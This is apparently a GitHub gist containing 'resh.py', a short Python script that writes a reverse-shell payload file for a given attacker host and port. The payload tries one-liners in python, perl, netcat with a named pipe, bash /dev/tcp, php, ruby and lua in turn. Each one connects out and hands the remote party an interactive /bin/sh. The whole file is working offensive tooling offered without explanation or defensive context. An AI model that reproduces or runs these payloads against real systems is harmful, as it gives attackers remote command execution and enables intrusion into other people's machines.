-
-
Save xct/ab71d58a29e9017eb38565e32aeb95b0 to your computer and use it in GitHub Desktop.
Resh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
if len(sys.argv) < 3: | |
print("Usage: python3 resh.py <lhost> <lport> <filename>") | |
sys.exit(0) | |
lhost = sys.argv[1] | |
lport = sys.argv[2] | |
fname = sys.argv[3] | |
resh = f''' | |
if command -v python > /dev/null 2>&1; then | |
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{lhost}",{lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' | |
exit; | |
fi | |
if command -v perl > /dev/null 2>&1; then | |
perl -e 'use Socket;$i="{lhost}";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};' | |
exit; | |
fi | |
if command -v nc > /dev/null 2>&1; then | |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f | |
exit; | |
fi | |
if command -v sh > /dev/null 2>&1; then | |
/bin/sh -i >& /dev/tcp/{lhost}/{lport} 0>&1 | |
exit; | |
fi | |
if command -v php > /dev/null 2>&1; then | |
php -r '$sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");' | |
exit; | |
fi | |
if command -v ruby > /dev/null 2>&1; then | |
ruby -rsocket -e'f=TCPSocket.open("{lhost}",{lport}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' | |
exit; | |
fi | |
if command -v lua > /dev/null 2>&1; then | |
lua -e "require('socket');require('os');t=socket.tcp();t:connect('{lhost}','{lport}');os.execute('/bin/sh -i <&3 >&3 2>&3');" | |
exit; | |
fi | |
''' | |
with open(fname, "w") as f: | |
f.write(resh) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment